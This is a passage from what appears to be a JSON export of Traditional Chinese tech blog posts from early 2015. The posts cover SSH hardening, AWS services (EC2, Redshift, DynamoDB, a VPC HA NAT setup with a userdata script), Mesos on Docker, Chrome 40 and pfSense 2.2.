    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"https://stribika.github.io/2015/01/04/secure-secure-shell.html\">Secure Secure Shell</a>」這篇文章，介紹要如何加強 <a href=\"http://www.openssh.com/\">OpenSSH</a>。\r\n\r\n文章裡分成四個部份討論，從 Key exchange 開始，Authentication、Symmetric ciphers 以及 Message authentication codes。\r\n\r\n先把已知有問題的技術都先拿掉 (像是 <a href=\"https://en.wikipedia.org/wiki/MD5\">MD5</a>、<a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 與 <a href=\"https://en.wikipedia.org/wiki/Data_Encryption_Standard\">DES</a>)，然後有被 <a href=\"https://www.nsa.gov/\">NSA</a> 影響到的技術，而且有不錯的替代方案的也拿掉。\r\n\r\n另外還介紹了 <a href=\"https://www.torproject.org/docs/hidden-services.html.en\">Tor hidden service</a> 下的保護。\r\n\r\n感覺有點偏激的文件，可以拿來參考...",
    "title": "安全的 SSH (Secure Secure Shell)"
  },
  {
    "id": "5529",
    "body": "照著「<a href=\"https://medium.com/@gargar454/deploy-a-mesos-cluster-with-7-commands-using-docker-57951e020586\">Deploy a Mesos Cluster with 7 Commands Using Docker</a>」上面的方法做，遇到一些小狀況，解決後總算是搞定了。\r\n\r\n文章作者的目的是利用 <a href=\"https://www.docker.com/\">Docker</a> 在不弄髒環境下讓人很容易上手測試，不需要處理一堆 <a href=\"https://java.com/\">Java</a> 以及設定檔的問題。讓沒有用過的人可以感受一下 <a href=\"https://mesos.apache.org/\">Mesos</a> 與 <a href=\"https://mesosphere.github.io/marathon/\">Marathon</a> 的界面與操作。\r\n\r\n總共會跑起四個 docker instance，分別是 <a href=\"https://zookeeper.apache.org/\">ZooKeeper</a>、Mesos Master、Marathon、Mesos Slave Container。\r\n\r\n我遇到的問題是我在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上面的 <a href=\"https://help.ubuntu.com/community/UFW\">UFW</a> 設為 default deny，造成這四隻程式之間溝通不良，最後是針對 docker0 這個 interface 放行：\r\n\r\n<pre># ufw allow in on docker0</pre>\r\n\r\n有些感覺之後就可以看官網看更進階的功能操作。",
    "title": "用 Docker 測試 Mesos"
  },
  {
    "id": "5530",
    "body": "這時候就要拿出經典台詞：\r\n\r\n<img src=\"//i.imgur.com/vF9O2j3.jpg\" alt=\"\" />\r\n\r\nAnyway，<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出 C4 Instance 了：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-new-c4-instances/\">Now Available – New C4 Instances</a>」。\r\n\r\n<img src=\"//i.imgur.com/edXCEAg.jpg\" alt=\"\" />\r\n\r\n來看看 c4.8xlarge，最近說不定用的上，不過要注意的是，C4 Instance 只支援 EBS only。\r\n\r\nc4.8xlarge 的 ECU 是 132 (USD$1.856/hour) 而 c3.8xlarge 是 108 (USD$1.68/hour)，跟 C3 相比，看起來更實惠一些。",
    "title": "Amazon EC2 的 C4 Instance"
  },
  {
    "id": "5531",
    "body": "這邊的 <a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 都是跑在 Oregon (us-west-2)，前者的價錢是 USD$9.6/hour，後者是 USD$8/hour，大約貴一些。這是同一個 query 跑過多次後穩定的數字，用 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的 <code>\\timing</code> 出來的數字計算。\r\n\r\n先從比較簡單的 query 開始，這個表格大約六億筆資料，如果以記憶體大小算的話，是 memory-fit。\r\n\r\n前者是：\r\n\r\n<pre>dev=# SELECT COUNT(DISTINCT x) FROM t;\r\n count  \r\n--------\r\n 925612\r\n(1 row)\r\n\r\nTime: 3345.946 ms</pre>\r\n\r\n後者是：\r\n\r\n<pre>dev=# SELECT COUNT(DISTINCT x) FROM t;\r\n count  \r\n--------\r\n 925612\r\n(1 row)\r\n\r\nTime: 2145.132 ms</pre>\r\n\r\n再來條件多一點，一樣前者是：\r\n\r\n<pre>dev=# SELECT x, COUNT(*) AS cnt FROM t GROUP BY x ORDER BY cnt DESC LIMIT 20;\r\n...\r\n(20 rows)\r\n\r\nTime: 2121.002 ms</pre>\r\n\r\n後者是：\r\n\r\n<pre>dev=# SELECT x, COUNT(*) AS cnt FROM t GROUP BY x ORDER BY cnt DESC LIMIT 20;\r\n...\r\n(20 rows)\r\n\r\nTime: 1388.102 ms</pre>\r\n\r\n發現比較貴的 cluster 的反而比較慢 (大台 dw2.8xlarge 組成的)，用多台小台的去堆反而比較快。晚點找時間測沒辦法 memory-fit 的速度。\r\n\r\n意外的跟直覺不太一樣，要測過才知道...",
    "title": "Redshift 的 2*dw2.8xlarge 與 32*dw2.large 的比較"
  },
  {
    "id": "5532",
    "body": "在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 上裝了「<a href=\"https://chrome.google.com/webstore/detail/navigation-shortcuts/ioogigbgjmadikfocfdmmdlghogaehca\">Navigation Shortcuts</a>」：\r\n\r\n快速鍵包含這些：\r\n\r\n<ul>\r\n\t<li>Space Bar -  navigates to the next page when scrolled to the bottom</li>\r\n\t<li>Shift + Space Bar - navigates to the previous page when scrolled to the top</li>\r\n\t<li>Ctrl + Right - navigates to the next page</li>\r\n\t<li>Ctrl + Left - navigates to the previous page</li>\r\n\t<li>Ctrl + Up - navigates to section's index page</li>\r\n\t<li>Ctrl + Shift + Up - navigates to the top page</li>\r\n</ul>\r\n\r\n其實讀的就是 HTML header 裡面的 <code>rel</code> tag。拿來讀 <a href=\"https://aws.amazon.com/\">AWS</a> 的文件還蠻方便的...",
    "title": "用鍵盤翻頁 (Navigation Shortcuts)"
  },
  {
    "id": "5534",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">Amazon DynamoDB</a> 頁面上的介紹：\r\n\r\n<blockquote>Amazon DynamoDB is a fast and flexible NoSQL database service for all applications that need consistent, single-digit millisecond latency at any scale.</blockquote>\r\n\r\n資料型態的部份就跳過去了，這篇筆記的重點在於 index 的部份 (了解他如何 scale)，尤其是對 RDBMS 有了解的人要如何從他所設計的架構理解 DynamoDB 的 index。\r\n\r\n理論基礎是 <a href=\"https://www.amazon.com/\">Amazon</a> 在 2007 年丟出的論文「<a href=\"http://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf\">Dynamo: Amazon’s Highly Available Key-value Store</a>」，這篇論文影響了很多 open source project。\r\n\r\nDynamoDB 的 index 有 Primary Key、Local Secondary Index Key (LSI) 以及 Global Index Key (GSI)，在「<a href=\"http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/DataModel.html\">DynamoDB Data Model</a>」這篇有介紹。\r\n\r\n這邊會拿 Blogger.com 這種多人的 Blog Hosting 當例子：\r\n\r\n<ul>\r\n\t<li>一個 user 可以有很多 blog。(table <code>user</code>)</li>\r\n\t<li>一個 blog 可以有很多 post。(table <code>blog</code>)</li>\r\n\t<li>一篇 post 可以有很多 comment。(table <code>post</code>)</li>\r\n</ul>\r\n\r\n接下來就從 Primary Key 開始講。\r\n\r\n<h2>Primary Key</h2>\r\n\r\nPrimary Key 保證唯一，這也是 DynamoDB 裡面可以達到 RDBMS 的 UNIQUE KEY 效果的最佳方式。\r\n\r\n有兩種 Primary Key 的型態，一種叫做 Hash，另外一種叫做 Hash-Range。\r\n\r\n兩種都需要指定某一個欄位是 Hash-based column，當作切割 (partition) 的依據。\r\n\r\n<h3>第一種：Hash</h3>\r\n\r\n以 table <code>user</code> 來說，可以拿 <code>user_id</code> 來當作 Hash-based column，裡面有 blog_id 的 list。\r\n\r\n以 table <code>blog</code> 來說，可以拿 <code>blog_id</code> 來當作 Hash-based column，裡面有 post_id 的 list。\r\n\r\n要注意的是，如果表格 PK 是 Hash，那麼就不能使用 LSI 與 GSI 了。只有另外一種型態 (Hash-Range) 才可以用 LSI 與 GSI。\r\n\r\n相對的，Hash-based 的表格因為功能有限，效率通常很好 XDDD\r\n\r\n<h3>第二種：Hash-Range</h3>\r\n\r\n其實 Hash-Range 是一種別的 LSI，兩者最大的差異就是唯一性了。\r\n\r\n另外一種 Primary Key 是 Hash-Range，他需要指定兩個欄位，其中其中 Hash 的欄位就如同上面的解釋，當作資料切割的依據。這邊的唯一性是指 (Hash column, Range column) 唯一，而非只有 Hash 唯一或是 Range 唯一。\r\n\r\n剛剛說到需要指定的另外一個欄位，被稱為「Range」的原因是因為他可以有效率的以 hash + range query 查詢資料。\r\n\r\n以 table <code>post</code> 來說，可以拿 <code>blog_id</code> 當作 Hash-based column，再拿 <code>post_id</code> 當作 Range-based column，等下我們介紹 LSI 時再拿發表時間欄位排序。\r\n\r\n同理，table <code>comment</code> 可以拿 (<code>post_id</code>, <code>commend_id</code>) 當 PK。\r\n\r\n<h3>Query</h3>\r\n\r\nPK 是 Hash 的當然就是指定 Hash-based column 直接查，條件只能是等號。\r\n\r\nPK 是 Hash-Range 的除了可以用 Hash-based column 直接查 (還是只能用等號)，另外可以用 Hash-based column + Range-based column 查。\r\n\r\n以 SQL 的想法就像是 <code>WHERE hash_col = 123 AND range_col BETWEEN (123, 456)</code> 的感覺。反正 Hash-based column 一定要等號。\r\n\r\n講到這邊，其實讀過上面提到的 Amazon 那篇論文應該就大概有感覺架構是怎麼搞的了：(這是推敲出來的，未必是實際架構)\r\n\r\n<ul>\r\n\t<li>用 Hash-based column 切 consistent hash ring 塞到不同機器上。PK 是 Hash 的到這邊就搞定了。</li>\r\n\t<li>PK 是 Hash-Range 的，還是照上面一條提到的，用 Hash-based column 切開，所以同樣的 Hash-based column 的資料都會塞到同一台機器上，於是就可以用有效率的 ordered tree 來存放 Range-based column 的資料，這樣就可以提供 query 了。</li>\r\n</ul>\r\n\r\n當然，考慮到需要實做 rebalance 機制以逐步擴充，這邊 consistent hash ring 的部份的作法可以更細膩，不過就不是這篇要談的重點了。\r\n\r\n接下來要講重頭戲 LSI 與 GSI 了。\r\n\r\n<h2>Local Secondary Index (LSI) 與 Global Secondary Index (GSI)</h2>\r\n\r\n前面有提到 LSI 與 GSI 必須 PK 是 Hash-Range 的情況下能用，兩者都不強制唯一性。\r\n\r\nLSI 與 GSI 都是 (Hash-column based, Range-column based) 的形式，差別在 LSI 的 Hash-column based column 必須跟 PK 的相同，GSI 的可以不用一樣。\r\n\r\n所以對於 table <code>post</code> 可以加一個 LSI (<code>blog_id</code>, <code>post_datetime</code>)，就可以用 <code>WHERE blog_id = 123 ORDER BY post_datetime DESC</code> 拉出對應的文章了。\r\n\r\n同理，table <code>comment</code> 是 (<code>post_id</code>, <code>comment_datetime</code>)。",
    "title": "Amazon DynamoDB 筆記"
  },
  {
    "id": "5535",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 宣佈支援 <a href=\"https://www.freebsd.org/\">FreeBSD</a>：「<a href=\"https://www.digitalocean.com/company/blog/presenting-freebsd-how-we-made-it-happen/\">Presenting FreeBSD! How We Made It Happen.</a>」。\r\n\r\n不過不是全部的 region 都支援，由於 NYC1、NYC2 與 AMS1 這三個地區的架構比較舊，除了這三個以外的地區都支援 FreeBSD。\r\n\r\n文章裡有說明技術上的架構，除了 infrastructure 的支援以外，另外也受益於 <a href=\"https://pellaeon.github.io/bsd-cloudinit/\">bsd-cloudinit</a>。\r\n\r\n不過自從 FreeBSD 換到 <a href=\"http://www.bugzilla.org/\">Bugzilla</a> 後，我就把 ports maintainership 都轉移出去，再加上桌機與跳板機都改用 <a href=\"http://www.ubuntu.com/\">Ubuntu</a>，用 FreeBSD 的情況愈來愈少了...",
    "title": "DigitalOcean 支援 FreeBSD"
  },
  {
    "id": "5536",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 老大 Peter Zaitsev 寫了一篇關於 InnoDB 的 isolation mode 與效能的關係：「<a href=\"http://www.percona.com/blog/2015/01/14/mysql-performance-implications-of-innodb-isolation-modes/\">MySQL performance implications of InnoDB isolation modes</a>」。\r\n\r\n關於 isolation level 的介紹，也可以參考維基百科上的說明：「<a href=\"https://en.wikipedia.org/wiki/Isolation_(database_systems)\">Isolation (database systems)</a>」。\r\n\r\n其中有個我也認同的的建議：\r\n\r\n<blockquote>In general I think good practice is to use READ COMITTED isolation mode as default and change to REPEATABLE READ for those applications or transactions which require it.</blockquote>\r\n\r\n需要 REPEATABLE READ 需求的 transaction 可以在 session 裡面開，不需要平常就開著。\r\n\r\n而剛從 MyISAM 轉過去的因為本來就沒有 transaction，換到 InnoDB 時強烈建議就直接設上去 (剛好在註解也有提到)：\r\n\r\n<blockquote>I think READ-COMMITTED is better default yet it can break some applications. Though so changing to default storage engine from MyISAM to Innodb did.</blockquote>",
    "title": "InnoDB 的 isolation mode"
  },
  {
    "id": "5537",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的圖直接說明了一切：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Never get lost again. Try the new Google Translate app, for Android and iOS → <a href=\"http://t.co/CehXQGAoiC\">http://t.co/CehXQGAoiC</a> <a href=\"http://t.co/3qDr7Voa8p\">pic.twitter.com/3qDr7Voa8p</a></p>&mdash; Google (@google) <a href=\"https://twitter.com/google/status/555464880304959488\">January 14, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這功能...",
    "title": "Google Translate 的重大功能發表"
  },
  {
    "id": "5538",
    "body": "因為 <a href=\"https://twitter.com/\">Twitter</a> 上這兩個帳號都有跟，所以就看到這兩個帳號的公開喊話記錄：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p><a href=\"https://twitter.com/digitalocean\">@digitalocean</a> We have big release coming up and want to do a joint promotion (discount codes for CI runners). Who should we email?</p>&mdash; GitLab (@gitlab) <a href=\"https://twitter.com/gitlab/status/555448697455009794\">January 14, 2015</a></blockquote>\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p><a href=\"https://twitter.com/gitlab\">@gitlab</a> Intriguing... Drop the marketing team a line at marketing@ =)</p>&mdash; DigitalOcean (@digitalocean) <a href=\"https://twitter.com/digitalocean/status/555457941755940864\">January 14, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n還蠻有趣的 XD",
    "title": "GitLab 與 DigitalOcean 的合作案？"
  },
  {
    "id": "5539",
    "body": "在 <a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> 的架構裡最讓人碎碎唸的一個架構：NAT instance。\r\n\r\nAmazon VPC 分成 Public Network 與 Private Network。\r\n\r\n前者的 Public Network，裡面的機器除了會有 Private IP 外，需要申請 Public IP (可以是隨機分配，也可以是 Elastic IP) 透過 Intenet Gateway (沒有 NAT 功能) 連外，這邊問題比較小，因為 Routing Table 設一下就好了，High Availability 以及 Scalablility 的問題 <a href=\"https://aws.amazon.com/\">AWS</a> 會自己解決掉。\r\n\r\n後者 Private Network 因為需要自己架設 NAT instance，所以要自己處理 High Availability 以及 Scalability 問題，由於把機器丟在後面，前面用 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 是蠻常見的架構，AWS 一直沒推出 NAT service 讓人感覺很疑惑...\r\n\r\n目前一般在處理 Private Network 的 HA NAT 架構是參考「<a href=\"https://aws.amazon.com/articles/2781451301784570\">High Availability for Amazon VPC NAT Instances: An Example</a>」這篇文章，但這篇文章的作法有點複雜。\r\n\r\n我可以接受有一些 downtime 時間以及一些小狀況，相對的，我想要換取極低的管理成本。\r\n\r\n研究了一陣子，最後決定的作法是受到「<a href=\"http://uberboxen.net/blog/2014/03/04/an-alternative-approach-to-ha-nat-on-aws/\">An Alternative Approach to &#8220;HA&#8221; NAT on AWS</a>」這篇的啟發，這篇也只講了很簡單的概念，實際上還是要自己研究。\r\n\r\n目前是做在 us-west-2 (Oregon) 的 1b 與 1c 兩個 AZ 上。下面討論時就不說明這點了。\r\n\r\n規劃的想法是 1b 與 1c 兩個 AZ 各建立一個 auto scaling group，透過 auto scaling 各跑一台 NAT instance 處理自己 AZ 的 NAT traffic (所以不是手動跑)。然後我不想要自己建 image 寫太多 hard code 進去，最好是現成的用一用就好 XD\r\n\r\n所以有幾個重點：\r\n\r\n<ul>\r\n\t<li>NAT instance 拿現成的 amzn-ami-vpc-nat 使用，寫這篇文章時是用 2014.09 版。</li>\r\n\t<li>由於官方的 NAT instance 支援 userdata 在開機時執行指令，所以完全透過 userdata 指定需要的做動就好。</li>\r\n\t<li>由於 Amazon 官方給的 instance 有 aws 這隻工具 (<a href=\"https://aws.amazon.com/cli/\">aws-cli</a>)，而這隻工具在有掛上 <a href=\"http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html\">IAM Role</a> 時會去 <code>http://169.254.169.254/</code> 上取得對應的 IAM Role 權限，所以都不需要寫太多 hard code 的東西進去。</li>\r\n</ul>\r\n\r\n機器開起來以後希望做幾件事情：\r\n\r\n<ul>\r\n\t<li>把自己的 Source/Destination IP check 關閉。</li>\r\n\t<li>把傳進來的 Route Table 的 0.0.0.0/8 設成自己。這邊需要傳進來是由於 NAT instance 是跑在 Public Network 裡，我不會知道要改哪個 Route Table。</li>\r\n</ul>\r\n\r\n所以就有兩個重點，一個是 userdata，其中粗體是要修改的 route table id：\r\n\r\n<pre>#!/bin/bash\r\nROUTE_TABLE_ID=<strong>rtb-1a2b3c4d</strong>\r\nINSTANCE_ID=$(curl http://169.254.169.254/latest/meta-data/instance-id)\r\naws ec2 modify-instance-attribute \\\r\n    --region us-west-2 \\\r\n    --instance-id \"${INSTANCE_ID}\" \\\r\n    --no-source-dest-check\r\naws ec2 replace-route \\\r\n    --region us-west-2 \\\r\n    --route-table-id \"${ROUTE_TABLE_ID}\" \\\r\n    --destination-cidr-block 0.0.0.0/0 \\\r\n    --instance-id \"${INSTANCE_ID}\" || \\\r\naws ec2 create-route \\\r\n    --region us-west-2 \\\r\n    --route-table-id \"${ROUTE_TABLE_ID}\" \\\r\n    --destination-cidr-block 0.0.0.0/0 \\\r\n    --instance-id \"${INSTANCE_ID}\"</pre>\r\n\r\n最前面事先抓 instance_id，然後修改 Source/Destination 檢查，最後面的指令是先試著 ReplaceRoute，如果失敗就 CreateRoute (注意到 shell 的 <code>||</code> 操作)。\r\n\r\n另外的重點是 IAM Role，這台機器對應的 IAM Role 權限要開三個：\r\n\r\n<pre>{\r\n  \"Statement\": [\r\n    {\r\n      \"Action\": [\r\n        \"ec2:CreateRoute\",\r\n        \"ec2:ReplaceRoute\",\r\n        \"ec2:ModifyInstanceAttribute\"\r\n      ],\r\n      \"Effect\": \"Allow\",\r\n      \"Resource\": \"*\"\r\n    }\r\n  ]\r\n}</pre>\r\n\r\n拿 t2.medium 測試，burst 可以到 200Mbps 左右，應該還算夠用？反正不夠用就自己挑其他機器開吧 XD\r\n\r\n最後討論一下 Availability 的情況。這樣的架構可能會有七八分鐘的 downtime，也就是當 instance 掛了，被 auto scaling 重新拉一台新的起來。這邊不做 cross-zone NAT 是因為這樣比較簡單，這邊的 downtime 我還可以接受。\r\n\r\n至於某個 zone 掛掉，應該 cross-zone NAT 趕快導到另外一區的問題... 整個 zone 都滅了就沒有這個問題啊 XDDD",
    "title": "建立 Amazon VPC 的 High Availability NAT 架構"
  },
  {
    "id": "5541",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 計畫在 2015 年再加開三個機房：「<a href=\"https://blog.linode.com/2015/01/16/linode-datacenter-expansion/\">Linode Datacenter Expansion</a>」。\r\n\r\n分別是新加坡、德國法蘭克福、日本東京 (第二機房)，新加坡是對於東南亞地區的擴展，法蘭克福則是補上了歐洲地區一直都只有倫敦的問題，最後一個東京第二機房則必須說不意外，之前是亞洲區唯一的點，賣的相當好...\r\n\r\n不過看起來還不是很順，從 comment 可以看到 resolver1.singapore.linode.com 這個 domain，<a href=\"http://www.hinet.net/\">HiNet</a> 過去的 latency 跟美西一樣，不過反正還沒開張，還可以 tune...",
    "title": "Linode 的 2015 計畫"
  },
  {
    "id": "5542",
    "body": "2015/01/12 先前在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/01/12/amazon-ec2-auto-recovery-now-available-in-the-us-east-region/\">Amazon EC2 Auto Recovery now available in the US East (N. Virginia) Region</a>」這邊發表了，不過剛剛在「<a href=\"https://aws.amazon.com/blogs/aws/new-auto-recovery-for-amazon-ec2/\">New – Auto Recovery for Amazon EC2</a>」這邊看到消息。\r\n\r\n重點在於偵測到問題時會重開機，並且保持原來的 instance id、IP address、Elastic IP address、EBS 以及其他外部設定：\r\n\r\n<blockquote>The instance will be rebooted (on new hardware if necessary) but will retain its Instance Id, IP Address, Elastic IP Addresses, EBS Volume attachments, and other configuration details.</blockquote>\r\n\r\n而被限制在比較新的硬體上，並且目前只有 us-east-1 有：\r\n\r\n<blockquote>This feature is currently available for the C3, C4, M3, R3, and T2 instance types running in the US East (Northern Virginia) region; we plan to make it available in other regions as quickly as possible.</blockquote>\r\n\r\n當時看到就覺得很實用了，後來在建立一些底層的 infrastructure 時，覺得其他區沒這功能頗難處理。有在 us-east-1 放機器的人可以測試看看。",
    "title": "Amazon EC2 的 Auto Recovery"
  },
  {
    "id": "5543",
    "body": "剛剛 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 的發文：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>The AWS Website is now available in Traditional Chinese at <a href=\"https://t.co/qUJs8ySOXM\">https://t.co/qUJs8ySOXM</a> <a href=\"http://t.co/D49iM8XFNW\">pic.twitter.com/D49iM8XFNW</a></p>&mdash; Jeff Barr (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/556178466890997760\">January 16, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不過不是所有的頁面都有 :p",
    "title": "AWS 官網繁體中文版"
  },
  {
    "id": "5544",
    "body": "<a href=\"http://blog.hsatac.net/\">hSATAC</a> 推薦的用法是：\r\n\r\n<img src=\"//i.imgur.com/udB599J.png\" alt=\"\" />\r\n\r\n不過我還是不喜歡啊... 關法是到「chrome://flags/#enable-new-profile-management」這邊關掉，需要重新打開 <a href=\"https://www.google.com/chrome/\">Google Chrome</a>。",
    "title": "把 Google Chrome 右上角的帳號管理功能拿掉 (Profile Management)"
  },
  {
    "id": "5546",
    "body": "解法是透過 <code>proxy.hinet.net:80</code> 的 Proxy 服務避開，利用 Proxy 的 IP 出國優先權比較高至少能通。下面說明一下原因。\r\n\r\n這可以解決不少網站不順的問題，像是 <a href=\"https://stackoverflow.com/\">Stack Overflow</a> 有用到 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的服務。\r\n\r\n可以看一般家用的 IP 去 ping (2015/01/22 00:31)：\r\n\r\n<pre>--- www.cloudflare.com.cdn.cloudflare.net ping statistics ---\r\n101 packets transmitted, 63 received, 37% packet loss, time 104589ms\r\nrtt min/avg/max/mdev = 88.208/131.391/227.889/45.322 ms</pre>\r\n\r\n即使是這個時間，CloudFlare 的品質仍然是爛到爆炸。\r\n\r\n另外看這兩張圖，這是在 <a href=\"http://www.hinet.net/\">HiNet</a> 機房端對 <code>www.cloudflare.com.cdn.cloudflare.net</code> 這個網域的 ICMP ping 的 latency 與 packet loss 記錄：\r\n\r\n<img src=\"//i.imgur.com/zpKO52B.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/o9yWjYJ.png\" alt=\"\" />\r\n\r\n這是機房端的 IP 監控的資料，可以看到 latency 會飄高，但至少將 packet loss 維持在一定程度以下。這也是為什麼 <code>proxy.hinet.net:80</code> 可以避開這個問題。\r\n\r\n另外我利用 HiNet 所配發的 PPPoE static IP 測試，也可以避開這個問題，所以 IP 分享器撥號時使用 PPPoE static IP 的方式也可以避開。",
    "title": "對付最近 HiNet 到 CloudFlare 不穩定的情況"
  },
  {
    "id": "5548",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 又丟出了極具爭議性的硬碟故障率資料，直到去年年底為止的數據：「<a href=\"https://www.backblaze.com/blog/best-hard-drive/\">What is the Best Hard Drive?</a>」。\r\n\r\n<img src=\"//i.imgur.com/eBkme8l.jpg\" alt=\"\" />\r\n\r\n這張圖超黑的 XDDD\r\n\r\n不過 Seagate Barracuda 7200.14 (ST3000DM001) 這顆好慘啊，1163 顆的死亡率是 43.1%...",
    "title": "Backblaze 公佈硬碟故障率"
  },
  {
    "id": "5551",
    "body": "在「<a href=\"http://googlechromereleases.blogspot.com/2015/01/stable-update.html\">Stable Channel Update</a>」這邊看到 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 釋出 40 版，除了修正了一卡車的安全性問題外，其實我是因為發現對於使用 SHA-1 certificate 的 SSL icon 又不一樣才發現的...\r\n\r\n借 <a href=\"https://www.plurk.com/\">Plurk</a> 的 domain 看一下：\r\n\r\n<img src=\"//i.imgur.com/KVRNBcL.png\" alt=\"\" />\r\n以及 <a href=\"https://imgur.com/\">Imgur</a> 的 domain：\r\n\r\n<img src=\"//i.imgur.com/21Iym4V.png\" alt=\"\" />\r\n\r\n參考 <a href=\"http://blog.chromium.org/2014/09/gradually-sunsetting-sha-1.html\">Gradually Sunsetting SHA-1</a> 這篇文章的說明。\r\n\r\n使用 SHA-1 SSL certificate，有效期間在 2016 年的會顯示黃色三角形 icon：\r\n\r\n<blockquote>Sites with end-entity certificates that expire between 1 June 2016 to 31 December 2016 (inclusive), and which include a SHA-1-based signature as part of the certificate chain, will be treated as “secure, but with minor errors”.</blockquote>\r\n\r\n而有效期超過 2016 年的 SHA-1 SSL certificate 會顯示沒有安全的標記：\r\n\r\n<blockquote>Sites with end-entity certificates that expire on or after 1 January 2017, and which include a SHA-1-based signature as part of the certificate chain, will be treated as “neutral, lacking security”.</blockquote>\r\n\r\n不過剛剛測了一下，EV SSL 好像不在此限？",
    "title": "Google Chrome 釋出 40 版"
  },
  {
    "id": "5552",
    "body": "<a href=\"https://www.pfsense.org/\">pfSense</a> 出新版了：「<a href=\"https://blog.pfsense.org/?p=1546\">pfSense 2.2-RELEASE Now Available!</a>」。\r\n\r\n之前一直用 RC 版本，看起來可以換過去了。從維基百科更新的資料「<a href=\"https://en.wikipedia.org/wiki/PfSense\">pfSense</a>」也可以看到許多改變。\r\n\r\n主要是從 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 8.3 換到 10.1，於是支援 <a href=\"http://wiki.xen.org/wiki/PV_on_HVM\">PV on HVM</a>。\r\n\r\n而 VPN 類的升級也是讓人心動的一點，換成 <a href=\"https://www.strongswan.org/\">strongSwan</a>了。所以該找時間測試效能了，不知道能不能超越 <a href=\"https://openvpn.net/\">OpenVPN</a> 的 200Mbps...",
    "title": "pfSense 2.2"
  },
  {
    "id": "5553",
    "body": "主題「<a href=\"http://innovation.kktix.cc/events/starup-it-infrastructure-developing-and-working-with-aws\">KKBOX Innovation Chat #5 - 利用AWS開發及實作新創公司的基礎資訊建設</a>」的投影片：(Startup IT infrastructure: Developing and Working with AWS)\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"080a9cce74e44d9dbce5b0653d1f76f7\" data-ratio=\"1.77777777777778\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n在準備之前有問了 <a href=\"https://twitter.com/ericpi\">ericpi</a> (主辦)，主要是以 engineer 為主，然後次多的是學生。所以主題上偏技術一點。\r\n\r\n而因為主題是 for startup，所以注重的方向與一般公司不太一樣。在舉例上面，主要是以 <a href=\"https://kktix.com/\">KKTIX</a> 以及<a href=\"https://www.facebook.com/guess.the.chocolate\">猜猜巧克力</a>為主，對於 <a href=\"http://www.kkbox.com/\">KKBOX</a> 的著墨比較少。\r\n\r\n現場 Q&amp;A 很踴躍，用了不少時間在 Q&amp;A 上，結果講完跟 ericpi 去吃飯時差點睡在餐桌上，回到家確認沒有緊急的事情就倒下去睡死了。\r\n\r\n另外對不起現場聽眾的... 記得講到後面有點累，會發現講到一半「咦，這句中文怪怪的」，就重新再說一次，但好像還是怪怪的... (這代表應該有漏掉沒發現的部份)",
    "title": "昨天 (2015/01/27) 在高雄 K Square 的投影片"
  },
  {
    "id": "5555",
    "body": "剛剛看到 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 的新功能以及購買 Reserved Capacity 的計費模式：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-dynamodb-update-online-indexing-reserved-capacity-improvements/\">Amazon DynamoDB Update – Online Indexing &amp; Reserved Capacity Improvements</a>」。\r\n\r\n可以動態增加 Global Secondary Indexes 有點像是「總算可以 ALTER TABLE 了！！！」的感覺 XDDD\r\n\r\n<img src=\"//i.imgur.com/o1NEhqa.png\" alt=\"\" />\r\n\r\n而 Reserved Capacity 好像是第一次把 Capacity 類的費用 commit 化？我記得 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 沒有這種計費...\r\n\r\n<img src=\"//i.imgur.com/sp942yk.png\" alt=\"\" />",
    "title": "DynamoDB 的 Online Indexing 與 Reserved Capacity"
  },
  {
    "id": "5556",
    "body": "看到「<a href=\"https://istlsfastyet.com/\">Is TLS Fast Yet?</a>」這個站台，開宗明義就講了，這不是問題：\r\n\r\n<blockquote>TLS has exactly one performance problem: it is not used widely enough.\r\n\r\nEverything else can be optimized.</blockquote>\r\n\r\n下面的表格分析把對於效能影響的分析寫得很清楚，除了軟體外，還包括了各家 CDN 支援的分析，可以參考一下這邊的分析。",
    "title": "TLS 的效能分析"
  },
  {
    "id": "5557",
